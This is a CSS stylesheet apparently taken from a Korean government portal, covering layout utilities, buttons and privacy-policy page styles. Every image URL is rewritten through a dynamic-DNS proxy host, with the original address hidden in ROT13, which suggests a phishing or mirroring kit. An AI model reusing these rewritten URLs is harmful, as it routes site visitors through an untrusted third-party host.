@charset "utf-8";

/* common
--------------------------------------*/
body{margin:0;padding:0;border-width:0;font-weight:normal;-webkit-text-size-adjust:none}

/* init set  */
.init_self{margin:0;padding:0;border-width:0;font-size:inherit;font-weight:300;font-style:normal;color:inherit;letter-spacing:inherit;text-align:inherit}
h1,h2,h3,h4,h5,h6,img,form,fieldset,legend,label,input,select,checkbox,input,radio,table,caption,thead,tbody,tfoot,tr,th,td,div,ul,ol,li,dl,dt,dd,p,iframe,button{margin:0;padding:0;border-width:0;font-size:inherit;font-style:normal;color:inherit;letter-spacing:inherit;text-align:inherit}
a,span{font-size:inherit;font-style:normal;color:inherit;letter-spacing:inherit;text-align:inherit}
button{display:inline-block;background:transparent;font-size:inherit;font-weight:normal;font-family:inherit;color:inherit;cursor:pointer}
a:focus,a:hover,a:focus span,a:hover span,button:focus,button:hover,button:focus span,button:hover span{text-decoration:underline}
button:focus{outline-width:2px;outline-style:dotted;outline-color:#313131}
.init_of h1,.init_of h2,.init_of h3,.init_of h4,.init_of h5,.init_of h6,.init_of th,.init_of legend,.init_of dt{font-weight:normal}
.init_of a,.init_of label{display:inline-block;text-decoration:none}
.init_of ol,.init_of ul,.init_of dl{list-style-type:none}
table{border-collapse:collapse}
input[type=submit],input[type=button],input[type=reset]{cursor:pointer}
input[type=submit]:hover,input[type=button]:hover,input[type=reset]:hover{text-decoration:underline}
a:focus-visible{outline:3px dashed red;border:2px dashed red;}

/* common class */
.hidden_txt{overflow:hidden;position:absolute;width:0;height:0;background:transparent;font-size:0;line-height:0;text-indent:-9999px;border:none !important;background:transparent !important;}
caption.hidden_txt{position:static}
.clr{clear:both}
.new_window{display:inline-block;min-height:12px;padding:0 15px 0 0;background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.lnatlnat.tb.xe%2Sfvgr%2Schoyr%2Scbegny%2Spff%2S..%2Svzntrf%2Spbzzba%2Sarjjvaqbj-vpba.cat) no-repeat right center;vertical-align:middle}

/*---- 글자관련 */ 
.fz_12{font-size:12px !important}
.fz_13{font-size:13px !important}
.fz_14{font-size:14px !important}
.fz_16{font-size:16px !important}
.fz_18{font-size:18px !important}
.fz_20{font-size:20px !important}
.lih_1em{line-height:1em !important}
.lih_1n25em{line-height:1.25em !important}
.lih_1n5em{line-height:1.5em !important}
.nanum{}
.nanum_b{font-weight:400}
.nanum_eb{font-family:nanumExB,'나눔고딕 ExtraBold',NanumGothicExtraBod,sans-serif}
.nanumebarun{font-family:'나눔바른고딕',NanumBarunGothic,nanumbarun,sans-serif}
.font_weight_light{font-weight:300 !important}

/* 폰트 */
.fw_bold{font-weight:400}

/*---- 제목과 블릿 */
.lv01_tit{min-height:16px;margin:25px 0 10px 0;padding:0 0 0 21px;background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.lnatlnat.tb.xe%2Sfvgr%2Schoyr%2Scbegny%2Spff%2S..%2Svzntrf%2Sobneq%2Syi01gvg-ohyyrg.cat) no-repeat left 5px;font-size:20px;font-weight:400;color:#333}
.lv01_tit_linedashed{padding:0 0 20px 21px;border-width:0 0 1px 0;border-style:dashed;border-color:#9d9d9d;background-position:left 3px}
.lv02_tit{min-height:6px;margin:15px 0 0;padding:0 0 0 14px;background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.lnatlnat.tb.xe%2Sfvgr%2Schoyr%2Scbegny%2Spff%2S..%2Svzntrf%2Sobneq%2Syi02gvg-ohyyrg.tvs) no-repeat left 8px;font-size:18px;font-weight:400;color:#464646}
.init_of dt.lv02_tit{font-weight:300}
.erms_conts .conts p{margin-left:21px;}
.bu_circle{min-height:3px;margin:7px 0;padding:0 0 0 7px;background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.lnatlnat.tb.xe%2Sfvgr%2Schoyr%2Scbegny%2Spff%2S..%2Svzntrf%2Sobneq%2Sohpvepyr-ohyyrg.tvs) no-repeat left 8px;color:#464646}
.bu_circle:first-child{margin:15px 0 7px}
.list_circle li{min-height:3px;margin:7px 0;padding:0 0 0 14px;background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.lnatlnat.tb.xe%2Sfvgr%2Schoyr%2Scbegny%2Spff%2S..%2Svzntrf%2Sobneq%2Sohpvepyr-ohyyrg.tvs) no-repeat left 11px;color:#464646}
.list_circle li:first-child{margin:15px 0 7px}
.bu_hyphen{min-height:3px;margin:7px 0;padding:0 0 0 7px;background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.lnatlnat.tb.xe%2Sfvgr%2Schoyr%2Scbegny%2Spff%2S..%2Svzntrf%2Sobneq%2Sohulcura-ohyyrg.tvs) no-repeat left 8px;color:#464646}
.bu_hyphen:first-child{margin:15px 0 7px}
.list_hyphen li{min-height:3px;margin:7px 0;padding:0 0 0 14px;background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.lnatlnat.tb.xe%2Sfvgr%2Schoyr%2Scbegny%2Spff%2S..%2Svzntrf%2Sobneq%2Sohulcura-ohyyrg.tvs) no-repeat left 12px;color:#464646}
.list_hyphen li:first-child{margin:15px 0 7px}
.list_arrow li{min-height:3px;margin:7px 0;padding:0 0 0 14px;background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.lnatlnat.tb.xe%2Sfvgr%2Schoyr%2Scbegny%2Spff%2S..%2Svzntrf%2Sobneq%2Sohneebj-ohyyrg.tvs) no-repeat left 11px;color:#464646}
.list_arrow li:first-child{margin:15px 0 7px}

/*---- text color */
.c_gray{color:#999 !important;}
.c_gray1{color:#666 !important;}
.c_red{color:#d82323 !important;}
.c_blue{color:#066dce !important;}
.c_dark{color:#333 !important;}
.c_green{color:#008236 !important;}
.marker_yellow{display:inline-block !important;background:#fff108 !important;}

/*---- padding과 margin */
.m_zero{margin:0 !important;}
.mt_zero{margin-top:5px !important;}
.mt_5{margin-top:5px !important;}
.mt_10{margin-top:10px !important;}
.mt_15{margin-top:15px !important;}
.mt_20{margin-top:20px !important;}
.mt_25{margin-top:25px !important;}
.mt_30{margin-top:30px !important;}
.mt_35{margin-top:35px !important;}
.mt_40{margin-top:40px !important;}
.mt_45{margin-top:45px !important;}
.mb_zero{margin-bottom:0 !important;}
.mb_5{margin-bottom:5px !important;}
.mb_10{margin-bottom:10px !important;}
.mb_15{margin-bottom:15px !important;}
.mb_20{margin-bottom:20px !important;}
.mb_25{margin-bottom:25px !important;}
.mb_40{margin-bottom:40px !important;}
.mb_50{margin-bottom:50px !important;}
.ml_12{margin-left:12px !important;}
.ml_15{margin-left:15px !important;}
.ml_21{margin-left:21px !important;}
.ml_25{margin-left:25px !important;}
.ml_30{margin-left:30px !important;}

.p_zero{padding:0 !important;}
.pl_zero{padding-left:0 !important;}
.pt_zero{padding-top:0 !important;}
.pl_5{padding-left:5px !important;}
.pl_10{padding-left:10px !important;}
.pl_15{padding-left:15px !important;}
.pl_20{padding-left:20px !important;}
.pl_25{padding-left:25px !important;}
.pl_30{padding-left:30px !important;}
.pr_5{padding-right:5px !important;}
.pr_10{padding-right:10px !important;}
.pr_15{padding-right:15px !important;}
.pr_20{padding-right:20px !important;}
.pr_25{padding-right:25px !important;}
.pr_30{padding-right:30px !important;}

/*---- 정렬 */
.txa_left{text-align:left !important;}
.txa_right{text-align:right !important;}
.txa_center{text-align:center !important;}

/* ---- 가로 크기 */
.w_50{display:inline-block;width:50px}
.w_100{display:inline-block;width:100px}
.w_150{display:inline-block;width:150px}
.w_200{display:inline-block;width:200px}
.w_250{display:inline-block;width:250px}
.w_300{display:inline-block;width:200px}

/* ---- 백그라운드 포지션 */
.bgp_right{background-position:right center !important}
.bgp_left{background-position:left center !important}

.btnmove{margin-top:-45px;margin-left:250px;}

.page_no{font-size:12px;}
.page_sep{font-size:10px;}


.map_jump {font-size: 16px;background: #fff;color: #fff !important;display: inline-block;}
.map_jump:focus, .map_jump:active{background:#008236;}

.btn_more2{display:inline-block;border-radius:4px;color:#006400 !important;width:194px;height: 54px;line-height:53px;font-weight:500;text-align:center;text-decoration:none !important;letter-spacing:-1px;position:relative;overflow:hidden;transition:color 1s, transform .1s;}
.btn_more2:after{border:1px solid #006400;content:'';display:block;position:absolute;top:0px;left:0px;right:0px;bottom:0px;border-radius:4px;}
.btn_more2:before{content:'';z-index:-1;position:absolute;bottom:0%;left:50%;background:#006400;width:310px;height:310px;margin-left:-160px;margin-bottom:-310px;transform-origin:50% 48%;border-radius:43%;transition-duration:1.5s;transition-property:margin-bottom;transition-timing-function:ease;}
.btn_more2:hover{color:#fff !important;}
.btn_more2:focus{text-decoration:underline !important;}
.btn_more2:active{transform:scale(.95);text-decoration:none !important;}
.btn_more2:active span{text-decoration:none !important;}
.btn_more2:hover:before{
  margin-bottom: -205px;
  animation: rotate 2000ms infinite linear;
}

@media (max-width:760px) {
    .btn_more2{width:150px;height:53px;line-height:53px;}
}

/* id-passport */
.concert {display: inline-block;width: 100%;height: auto;}
.concert .box {float: left;position: relative;width: 100%;height: 270px;margin-top: 0;padding-left: 0;}
.concert .box-culture {background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.lnatlnat.tb.xe%2Sfvgr%2Schoyr%2Scbegny%2Svzt%2Sfho%2Sot_pbapreg.wct) 0 0 no-repeat;}
.concert .box .image {margin: 44px auto 0;display: block;}
.concert .link {display: block;position: absolute;left: 50%;bottom: 49px;width: 156px;height: 52px;margin-left: -78px;border: 2px solid #fff;background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.lnatlnat.tb.xe%2Spbzzba%2Svzntrf%2Sot-genafcnerag-tenl.cat) 0 0 repeat;font-size: 16px;color: #fff;text-align: center;line-height: 52px;}

/* 개인정보처리방침 */
.personal-policy{position: relative;}
.personal-policy h4{font-size: 26px;font-weight: 500;color: #252525;padding-top: 30px;}
.personal-policy article{padding:20px;border:5px solid #e5e5e5;}
.personal-policy article p{word-break:keep-all;font-size:16px;}
.personal-policy article p + p{margin-top:15px;}
.personal-policy .summary-bx{position:relative;padding:20px 0 15px;}
.personal-policy .summary-bx:after{content:'';display:table;clear:both;}
.personal-policy .summary-bx a{display:block;float:left;width:20%;display:flex;align-items:center;justify-content:center;flex-direction:column;height:140px;position:relative;border:1px solid #dcdcdc;margin:-1px -1px 0 0;transition:all .1s;}
.personal-policy .summary-bx a p{position:absolute;pointer-events:none;left:0;right:0;top:139px;background:#0044cc;padding:15px 20px;color:#fff;z-index:3;word-break:keep-all;visibility:hidden;opacity:0;transition:all .1s;}
.personal-policy .summary-bx a span{margin-top:10px;letter-spacing: -1px;font-weight: 600;}
.personal-policy .summary-bx a:hover{background:#f4f4f7;}
.personal-policy .summary-bx a:hover p{opacity:1;visibility:visible;}
.personal-policy .table-bx{margin:15px 0 15px;border:1px solid #dcdcdc;padding:20px 30px;}
.personal-policy .table-bx:after{content:'';display:table;clear:both;}
.personal-policy .table-bx a{display:block;float:left;width:100%;height:36px;line-height:36px;position:relative;padding:1px 0 1px 12px;transition:all .1s;}
.personal-policy .table-bx a:after{content:'';display:block;width:4px;height:4px;border-radius:50%;background:#0044cc;position:absolute;left:0;top:50%;margin-top:-2px;}
.personal-policy .table-bx a span{display:inline-block;height:100%;transition:all .1s;border-bottom:1px solid transparent;white-space:nowrap;}
.personal-policy .table-bx a:hover{color:#0044cc;}
.personal-policy .table-bx a:hover span{border-color:#0044cc}
.personal-policy h5{display:flex;align-items:center;color:#202020;font-size:20px;font-weight:700;margin:40px 0 10px;position:relative;padding: 5px 0;border-bottom: 1px #e1e1e1 solid;}
.personal-policy h5 span{position:absolute;width:0;height:0;top:-100px;}
.personal-policy h5 img{width:32px;margin-right:15px;image-rendering: -webkit-optimize-contrast;}
.personal-policy > p{margin-bottom:17px;word-break:keep-all;font-size:16px;}
.personal-policy p.ty01{padding-left:20px;}
.personal-policy p.ty02{padding-left:25px;}
.personal-policy ol{padding-left:55px;margin-bottom:17px;}
.personal-policy ol li{list-style-type:decimal;line-height:1.4;word-break:keep-all;font-size:16px;}
.personal-policy ol li + li{margin-top:3px;}
.personal-policy li a:hover,
.personal-policy p a:hover{text-decoration:underline;}
.personal-policy div + p,
.personal-policy a + p{margin-top:15px;}
.personal-policy .list_circle li{list-style:none;}
.personal-policy .list_hyphen li{list-style:none;}

.personal-policy .qna-bx01{margin-top:5px;display:flex;border-bottom:1px solid #dadada;flex-wrap:wrap;margin-left:1px;}
.personal-policy .qna-bx01 > div{flex: 1 20%;border:1px solid #dadada;border-width:0 1px;margin-left:-1px;padding-bottom:23px;}
.personal-policy .qna-bx01 strong{display:block;text-align:center;border:1px solid #dadada;border-width:1px 0;background:#f0f0f0;height:45px;line-height:43px;color:#282828;font-size:16px;font-weight:600;}
.personal-policy .qna-bx01 a{display:block;}
.personal-policy .qna-bx01 img{display:block;height:82px;margin:20px auto;}
.personal-policy .qna-bx01 p{margin:0 10px 0 20px;padding-left:8px;line-height:1.4;color:#454545;font-size:14px;font-weight:700;position:relative;word-break:keep-all;}
.personal-policy .qna-bx01 p + p{margin-top:3px;}
.personal-policy .qna-bx01 p:after{content:'';display:block;position:absolute;top:7px;left:0px;width:3px;height:3px;border-radius:50%;background:#ff730e;}


@media (max-width:1199px) {
	.personal-policy article{padding:17px;border:3px solid #e5e5e5;}
	.personal-policy article p{font-size:15px;}
	.personal-policy article p + p{margin-top:12px;}
	.personal-policy .summary-bx{padding:15px 0 10px;}
	.personal-policy .summary-bx a{height:120px;}
	.personal-policy .summary-bx a img{image-rendering: -webkit-optimize-contrast;width:50px;}
	.personal-policy .summary-bx a p{top:119px;padding:11px 15px;font-size:14px;}
	.personal-policy .summary-bx a span{margin-top:7px;font-size:15px;}
	.personal-policy .table-bx{margin:12px 0 12px;padding:15px 20px;}
	.personal-policy .table-bx a{float:none;width:100%;height:32px;line-height:32px;padding:1px 0 1px 10px;font-size:15px;}
	.personal-policy .table-bx a:after{margin-top:-1px;}
	.personal-policy h5 span{top:-15px;}
	.personal-policy h5{font-size:18px;margin:30px 0 13px;}
	.personal-policy h5 img{width:26px;margin-right:8px;}
	.personal-policy > p{margin-bottom:13px;font-size:15px !important;}
	.personal-policy p.ty01{padding-left:0px;margin-bottom:7px;}
	.personal-policy p.ty02{padding-left:20px;}
	.personal-policy ol{padding-left:37px;margin-bottom:13px;}
	.personal-policy ol li{font-size:15px !important;}
	.personal-policy ol li + li{margin-top:2px;}
	.personal-policy div + p,
	.personal-policy a + p{margin-top:13px;}
	.listLv2{margin-left:0 !important;}
}
@media (max-width:760px) {
	.personal-policy article{padding:15px;border:2px solid #e5e5e5;}
	.personal-policy article p{font-size:14px;}
	.personal-policy article p + p{margin-top:10px;}
	.personal-policy .summary-bx{padding:15px 0 0px;}
	.personal-policy .summary-bx a{height:100px;width:50%;}
	.personal-policy .summary-bx a img{width:42px;}
	.personal-policy .summary-bx a p{top:99px;padding:10px 15px;font-size:14px;}
	.personal-policy .summary-bx a span{margin-top:5px;font-size:14px;}
	.personal-policy .table-bx{margin:10px 0px 10px;padding:15px 0px;border-width:1px 0;}
	.personal-policy .table-bx a{height:30px;line-height:30px;padding:1px 0 1px 7px;font-size:14px;}
	.personal-policy .table-bx a:after{margin-top:1px;width:2px;height:2px;}
	.personal-policy h5{font-size:17px;margin:28px 0 12px;}
	.personal-policy h5 img{width:24px;margin-right:8px;}
	.personal-policy > p{margin-bottom:12px;font-size:14px !important;}
	.personal-policy p.ty01{padding-left:0px;}
	.personal-policy p.ty02{padding-left:0px;}
	.personal-policy ol{padding-left:15px;margin-bottom:12px;}
	.personal-policy ol li{font-size:14px !important;}
	.personal-policy ol li + li{margin-top:2px;}
	.personal-policy div + p,
	.personal-policy a + p{margin-top:12px;}

	.personal-policy .qna-bx01{margin-top:35px;}
	.personal-policy .qna-bx01 > div{flex:1 47%;padding-bottom:20px;}
	.personal-policy .qna-bx01 strong{height:40px;line-height:38px;font-size:15px;}
	.personal-policy .qna-bx01 img{height:70px;margin:15px auto;}
	.personal-policy .qna-bx01 p{margin:0 10px 0 10px;padding-left:8px;font-size:13px;}
	.personal-policy .qna-bx01 p + p{margin-top:2px;}
	.personal-policy .qna-bx01 p:after{top:7px;}

}

@media (max-width:670px) {
	.personal-policy .qna-bx01{margin-top:30px;margin-left:0;}
	.personal-policy .qna-bx01 > div{flex:1 100%;padding-bottom:20px;margin-left:0;}
	.personal-policy .qna-bx01 strong{height:36px;line-height:34px;font-size:14px;}
	.personal-policy .qna-bx01 img{height:64px;margin:13px auto;}
}


/* button */
.btnwrapper{overflow:hidden;}
.btnwrapper *{display:inline-block}
.btnwrapper .btngroup{margin:0 0 0 20px;padding:0 0 0 10px}
.btnwrapper .btngroup >*{vertical-align:middle}
.btnwrapper .btngroup .txt{overflow:hidden;-ms-text-overflow:ellipsis;text-overflow:ellipsis;white-space:nowrap;height:33px;padding:0 10px;border-width:1px 0 1px 1px;border-style:solid;border-color:#676767;line-height:31px;background:#fff}
.btnwrapper .btngroup:first-child{margin:0}
.btnwrapper .btngroup a[class^=btn]{width:33px;height:33px;float:right}
.btnwrapper .btngroup a >span{display:block;width:100%;height:inherit}
.btnwrapper .btngroup a.btn_down{background:#6d737b}
.btnwrapper .btn_preview{background:#43505c}
.btnwrapper .btn_home{background:#6d737b}
.btnwrapper a.btn_move{height:33px !important;border-width:1px;border-style:solid;border-color:#676767;background:transparent}
.btnwrapper .btn_downinner{background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.lnatlnat.tb.xe%2Sfvgr%2Schoyr%2Scbegny%2Spff%2S..%2Svzntrf%2Sobneq%2Srezfpbagf_ogaqbja-vpba.cat) no-repeat center}
.btnwrapper .btn_previewinner{background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.lnatlnat.tb.xe%2Sfvgr%2Schoyr%2Scbegny%2Spff%2S..%2Svzntrf%2Sobneq%2Srezfpbagf_ogacerivrj-vpba.cat) no-repeat center}
.btnwrapper .btn_homeinner{background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.lnatlnat.tb.xe%2Sfvgr%2Schoyr%2Scbegny%2Spff%2S..%2Svzntrf%2Sobneq%2Srezfpbagf_ogaubzr-vpba.cat) no-repeat center}
.btnwrapper .btn_moveinner{background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.lnatlnat.tb.xe%2Sfvgr%2Schoyr%2Scbegny%2Spff%2S..%2Svzntrf%2Sobneq%2Srezfpbagf_ogazbir-vpba.cat) no-repeat center}
